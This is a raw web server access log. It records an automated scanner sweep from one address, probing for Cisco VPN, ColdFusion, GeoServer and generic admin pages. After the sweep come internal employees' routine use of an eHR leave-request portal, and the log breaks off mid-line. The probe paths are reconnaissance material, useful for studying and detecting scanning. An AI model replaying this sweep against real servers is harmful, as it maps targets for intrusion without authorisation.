100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /menu.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /menu.shtml HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /+CSCOE+/logon.html HTTP/1.1" 404 216 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /+CSCOE+/logon.html HTTP/1.1" 404 216 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /main.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /main.cfm HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /CFIDE/componentutils/ HTTP/1.1" 404 219 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /CFIDE/componentutils/ HTTP/1.1" 404 219 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /inicio.cgi HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /inicio.cgi HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/index.html HTTP/1.1" 404 218 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/index.html HTTP/1.1" 404 218 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/ HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/ HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /index.cgi HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /index.cgi HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage HTTP/1.1" 404 268 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage HTTP/1.1" 404 268 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /readme.txt HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /readme.txt HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /menu.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /menu.cgi HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage HTTP/1.1" 404 268 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage HTTP/1.1" 404 268 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /index.shtml HTTP/1.1" 404 209 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /index.shtml HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /Account/Login HTTP/1.1" 404 211 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /Account/Login HTTP/1.1" 404 211 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /index.php HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /index.php HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /cgi-bin/info.cgi HTTP/1.1" 404 214 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /cgi-bin/info.cgi HTTP/1.1" 404 214 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /admin.pl HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /admin.pl HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /xml/info.xml HTTP/1.1" 404 210 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /xml/info.xml HTTP/1.1" 404 210 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /default.cfm HTTP/1.1" 404 209 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /default.cfm HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /admin.php HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:08 +0800] "GET /admin.php HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /base.jsa HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /base.jsa HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /inicio.php HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /inicio.php HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /admin.jsp HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /admin.jsp HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /start.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /start.aspx HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /indice.php HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /indice.php HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /base.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:09 +0800] "GET /base.shtml HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /index.jsa HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /index.jsa HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /main.jhtml HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /main.jhtml HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /inicio.pl HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /inicio.pl HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /index.jhtml HTTP/1.1" 404 209 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:10 +0800] "GET /index.jhtml HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /default.pl HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /default.pl HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /main.php HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /main.php HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /admin.html HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /admin.html HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /main.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:11 +0800] "GET /main.jsp HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /start.jhtml HTTP/1.1" 404 209 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /start.jhtml HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /localstart.jsa HTTP/1.1" 404 212 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /localstart.jsa HTTP/1.1" 404 212 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /main.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /main.cgi HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /base.php HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /base.php HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /index.html HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:12 +0800] "GET /index.html HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /home.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /home.cfm HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /admin.cfm HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /admin.cfm HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /admin.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:13 +0800] "GET /admin.aspx HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:14 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:45:14 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [04/Dec/2025:10:45:16 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:45:16 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [04/Dec/2025:10:45:16 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:45:16 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:17 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:45:17 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:52:17 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:52:17 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:10:52:35 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:10:52:35 +0800] "\x16\x03\x01" 501 205 "-" "-" 192.168.11.60 - - [04/Dec/2025:10:53:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [04/Dec/2025:10:53:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:10:53:34 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:34 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [04/Dec/2025:10:53:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:10:53:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 192.168.11.60 - - [04/Dec/2025:10:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:10:53:52 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:52 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.60 - - [04/Dec/2025:10:53:52 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:52 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 192.168.11.60 - - [04/Dec/2025:10:53:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B HTTP/1.1" 200 20909 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:53:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B HTTP/1.1" 200 20909 100.64.0.1 - - [04/Dec/2025:10:53:58 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:53:58 +0800] "GET / HTTP/1.1" 200 439 192.168.11.60 - - [04/Dec/2025:10:54:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:10:54:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:10:54:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 100.64.0.1 - - [04/Dec/2025:10:55:07 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:55:07 +0800] "GET / HTTP/1.1" 200 439 192.168.40.52 - - [04/Dec/2025:10:57:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 